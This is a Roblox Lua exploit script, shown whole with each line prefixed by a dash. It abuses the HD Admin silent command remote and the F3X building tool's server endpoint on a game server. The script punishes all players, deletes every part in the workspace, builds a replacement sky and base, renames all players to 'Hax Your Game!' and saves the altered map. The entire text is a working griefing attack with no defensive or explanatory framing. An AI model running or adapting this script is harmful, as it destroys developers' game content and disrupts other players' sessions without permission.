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- local ReplicatedStorage = game:GetService("ReplicatedStorage")
- local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
- RequestCommand:InvokeServer(";btools me")
- RequestCommand:InvokeServer(";punish all")
- RequestCommand:InvokeServer(";unfog")
- RequestCommand:InvokeServer(";fogcolor black")
- RequestCommand:InvokeServer(";time 0")
- task.wait(0.5)
- local player = game.Players.LocalPlayer
- local char = player.Character or player.CharacterAdded:Wait()
- local backpack = player.Backpack
- local function getf3x()
- for _, v in ipairs(backpack:GetChildren()) do
- if v:FindFirstChild("SyncAPI") then return v end
- end
- for _, v in ipairs(char:GetChildren()) do
- if v:FindFirstChild("SyncAPI") then return v end
- end
- return nil
- end
- local f3xTool = getf3x()
- if not f3xTool then return end
- local remote = f3xTool.SyncAPI.ServerEndpoint
- local function _(args)
- remote:InvokeServer(unpack(args))
- end
- local function deleteall()
- local targets = {}
- for _, v in ipairs(workspace:GetDescendants()) do
- if v:IsA("BasePart") or v:IsA("UnionOperation") then
- table.insert(targets, v)
- end
- end
- remote:InvokeServer("Remove", targets)
- end
- local function createSky(id)
- local pos = CFrame.new(0, 50, 0)
- local skyPart = remote:InvokeServer("CreatePart", "Normal", pos, workspace)
- if skyPart then
- _({"SetName", {skyPart}, "riposku"})
- _({"CreateMeshes", {{["Part"] = skyPart}}})
- _({"SyncMesh", {{
- ["Part"] = skyPart,
- ["MeshId"] = "rbxassetid://111891702759441",
- ["TextureId"] = "rbxassetid://"..id,
- ["Scale"] = Vector3.new(70000, 70000, 70000),
- ["VertexColor"] = Vector3.new(3, 3, 3)
- }}})
- _({"SyncCollision", {{["Part"] = skyPart, ["CanCollide"] = false}}})
- _({"SyncAnchor", {{["Part"] = skyPart, ["Anchored"] = true}}})
- end
- end
- local function makerealmbase()
- local position = CFrame.new(0, 0, 0)
- local base = remote:InvokeServer("CreatePart", "Normal", position, workspace)
- if base then
- _({"SyncResize", {{["Part"] = base, ["CFrame"] = position, ["Size"] = Vector3.new(230, 1, 230)}}})
- _({"SyncColor", {{["Part"] = base, ["Color"] = Color3.new(0.15, 0.27, 0.17), ["UnionColoring"] = false}}})
- _({"SetName", {base}, "loltroll"})
- _({"SetLocked", {base}, true})
- _({"SyncAnchor", {{["Part"] = base, ["Anchored"] = true}}})
- end
- local spawna = remote:InvokeServer("CreatePart", "Spawn", position, workspace)
- if spawna then
- _({"SyncResize", {{["Part"] = spawna, ["CFrame"] = position, ["Size"] = Vector3.new(20, 1, 20)}}})
- _({"SetName", {spawna}, "SpawnLocation"})
- _({"SyncMaterial", {{["Part"] = spawna, ["Transparency"] = 1}}})
- end
- end
- deleteall()
- wait(0.1)
- createSky("106244637236514")
- makerealmbase()
- task.wait(0.5)
- RequestCommand:InvokeServer(";res all")
- RequestCommand:InvokeServer(";r6 all")
- RequestCommand:InvokeServer(";time 14")
- RequestCommand:InvokeServer(";music 140240856766854")
- RequestCommand:InvokeServer(";volume 10")
- RequestCommand:InvokeServer(";name all 9x7x9x4x6 Hax Your Game!")
- RequestCommand:InvokeServer(";saveMap")
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